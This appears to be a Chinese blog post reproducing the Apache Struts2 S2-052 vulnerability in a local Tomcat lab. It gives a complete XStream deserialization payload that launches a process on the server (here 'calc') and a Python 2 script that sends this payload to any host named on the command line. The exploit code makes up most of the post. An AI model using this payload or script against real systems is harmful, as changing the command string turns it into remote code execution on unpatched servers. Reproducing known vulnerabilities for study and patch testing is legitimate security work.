欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

S2-052的POC测试

程序员文章站 2022-06-13 12:57:34
...

         今天朋友圈全被S2-052刷屏了。看了好些大牛分析,虽然原理不是特别明白。但是想尝试去复现一把。

一、环境搭建:

需要TOMCAT / JDK /struts-2.5.12安装包 / burpsuite 

tomcat和jdk我就跳过了。

struts-2.5.12安装包的下载地址:http://archive.apache.org/dist/struts/2.5.12/struts-2.5.12-apps.zip 

下载完成后解压,只要把app目录下的struts2-rest-showcase.war放到tomcat的webapp目录下就可以了。

二、POC测试

启动tomcat,浏览器访问 http://你的环境IP地址/struts2-rest-showcase

S2-052的POC测试

打开页面后,浏览器设置代理,开启burpsuite,并设置和浏览器代理的端口一致。

随便点击一个View,截包

http头加上:Content-Type: application/xml  

以及我们的POC,这个POC我也是网上找来的,实在写不来。

<map>
<entry>
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>calc</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>

然后发送包。成功弹出计算器。

S2-052的POC测试

python的POC示例:

S2-052的POC测试

python 代码

import urllib2
import sys
cookies = urllib2.HTTPCookieProcessor()
opener = urllib2.build_opener(cookies)
xml_request = '''<map>
<entry>
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>calc</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>'''
test_url = "http://"+ sys.argv[1] + ":8080/struts2-rest-showcase/orders/3"
print "test url is %s"%test_url
try:
    request = urllib2.Request(
            url     = test_url,
            headers = {'Content-Type' : 'application/xml','charset':'UTF-8'},
            data    = xml_request)
    f=opener.open(request)
    print f.read()
except urllib2.HTTPError,e:
    print "The test url is struts-52!!!"


相关标签: S2-052poc